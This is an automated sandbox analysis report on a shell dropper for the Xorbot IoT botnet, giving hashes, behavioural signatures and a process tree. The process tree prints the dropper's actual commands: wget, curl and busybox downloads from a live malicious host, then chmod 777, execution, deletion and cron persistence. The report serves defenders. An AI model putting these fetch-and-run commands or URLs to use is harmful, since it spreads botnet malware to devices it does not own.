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Analysis

  • max time kernel
    117s
  • max time network
    146s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/01/2025, 20:19

General

  • Target

    8IR4B_bins.sh

  • Size

    10KB

  • MD5

    942d94d9683731e7c0e80fb1184455c6

  • SHA1

    bcb4bc2b172dd258e1864c02f6e19b3a35b0d610

  • SHA256

    67e889a87756f6c3c9efbbe222582538a388eb437b8b98840566a49576b776d8

  • SHA512

    58c5eb1e3024d4d713047c5b02ace9a829c3161d260ca04e126f21e93e40fb990dbc3fd0b4235210b994411f852fac2dffe07daac1ab029f7b62f8c087fec9d0

  • SSDEEP

    96:Y/T/v/UJJFSqhLzP4LRJLfh1hVhWxt3UDfUjgjcjf8cpaSzTv1koCLHbIi6loooE:nY1b7Wxt3uTJlEn3ncb7WxtiJlEn3Z

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1091) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/8IR4B_bins.sh
    /tmp/8IR4B_bins.sh
    1⤵
      PID:718
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:727
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:747
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • System Network Configuration Discovery
          PID:749
        • /bin/chmod
          chmod 777 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • File and Directory Permissions Modification
          PID:788
        • /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          ./3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • Executes dropped EXE
          PID:789
        • /bin/rm
          rm 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
            PID:793
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:794
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:800
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • System Network Configuration Discovery
            PID:802
          • /bin/chmod
            chmod 777 uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • File and Directory Permissions Modification
            PID:803
          • /tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            ./uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • Executes dropped EXE
            PID:804
          • /bin/rm
            rm uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
              PID:806
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:807
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:814
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:827
            • /bin/chmod
              chmod 777 4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • File and Directory Permissions Modification
              PID:835
            • /tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              ./4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:836
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:838
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:839
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:842
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:843
                  • /bin/rm
                    rm 4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
                    2⤵
                      PID:849
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                      2⤵
                      • System Network Configuration Discovery
                      PID:852
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                      2⤵
                      • System Network Configuration Discovery
                      PID:853
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                      2⤵
                      • System Network Configuration Discovery
                      PID:855
                    • /bin/chmod
                      chmod 777 TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                      2⤵
                      • File and Directory Permissions Modification
                      PID:856
                    • /tmp/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                      ./TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                      2⤵
                        PID:857
                      • /bin/rm
                        rm TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                        2⤵
                          PID:858
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/0PirOdBSU3p8izSSEz7tdQvlIowZ1wsiZF
                          2⤵
                          • System Network Configuration Discovery
                          PID:859
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/0PirOdBSU3p8izSSEz7tdQvlIowZ1wsiZF
                          2⤵
                          • System Network Configuration Discovery
                          PID:860
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/0PirOdBSU3p8izSSEz7tdQvlIowZ1wsiZF
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:862
                        • /bin/chmod
                          chmod 777 0PirOdBSU3p8izSSEz7tdQvlIowZ1wsiZF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:863
                        • /tmp/0PirOdBSU3p8izSSEz7tdQvlIowZ1wsiZF
                          ./0PirOdBSU3p8izSSEz7tdQvlIowZ1wsiZF
                          2⤵
                          • Executes dropped EXE
                          PID:864
                        • /bin/rm
                          rm 0PirOdBSU3p8izSSEz7tdQvlIowZ1wsiZF
                          2⤵
                            PID:866
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/vJBk6XE7R92M4fJp2SsJLs4caTPH8r48Ii
                            2⤵
                            • System Network Configuration Discovery
                            PID:867
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/vJBk6XE7R92M4fJp2SsJLs4caTPH8r48Ii
                            2⤵
                            • System Network Configuration Discovery
                            PID:868
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/vJBk6XE7R92M4fJp2SsJLs4caTPH8r48Ii
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:870
                          • /bin/chmod
                            chmod 777 vJBk6XE7R92M4fJp2SsJLs4caTPH8r48Ii
                            2⤵
                            • File and Directory Permissions Modification
                            PID:871
                          • /tmp/vJBk6XE7R92M4fJp2SsJLs4caTPH8r48Ii
                            ./vJBk6XE7R92M4fJp2SsJLs4caTPH8r48Ii
                            2⤵
                            • Executes dropped EXE
                            PID:872
                          • /bin/rm
                            rm vJBk6XE7R92M4fJp2SsJLs4caTPH8r48Ii
                            2⤵
                              PID:874
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/vUESW97vZuH04ksn9lal6cs7dWGxsWaGqP
                              2⤵
                              • System Network Configuration Discovery
                              PID:875
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/vUESW97vZuH04ksn9lal6cs7dWGxsWaGqP
                              2⤵
                              • System Network Configuration Discovery
                              PID:876
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/vUESW97vZuH04ksn9lal6cs7dWGxsWaGqP
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:878
                            • /bin/chmod
                              chmod 777 vUESW97vZuH04ksn9lal6cs7dWGxsWaGqP
                              2⤵
                              • File and Directory Permissions Modification
                              PID:879
                            • /tmp/vUESW97vZuH04ksn9lal6cs7dWGxsWaGqP
                              ./vUESW97vZuH04ksn9lal6cs7dWGxsWaGqP
                              2⤵
                              • Executes dropped EXE
                              PID:880
                            • /bin/rm
                              rm vUESW97vZuH04ksn9lal6cs7dWGxsWaGqP
                              2⤵
                                PID:882
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/suuoPsLuTiTXHQUB1dc3NwyWS6rduuPi3u
                                2⤵
                                • System Network Configuration Discovery
                                PID:883

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/0PirOdBSU3p8izSSEz7tdQvlIowZ1wsiZF

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/vJBk6XE7R92M4fJp2SsJLs4caTPH8r48Ii

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/vUESW97vZuH04ksn9lal6cs7dWGxsWaGqP

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /var/spool/cron/crontabs/tmp.Rsvdiv

                              Filesize

                              210B

                              MD5

                              244219f94261f231be78b8ea45da86e8

                              SHA1

                              677bddbbdab31bcae9c6f084991ae800fabfa2ab

                              SHA256

                              bd107a4c898882c854c2958b7d4ec66d678750393a8b56557b7b8765be439e98

                              SHA512

                              d5d66c95d723f9ff9afc658d7bce4cab82636d17d3562f4848640a79b1ae2252fb78667366f6fd4f689fcb913fbd2f4c12cf8ce9b7a0066059e7fdcedc40a9e2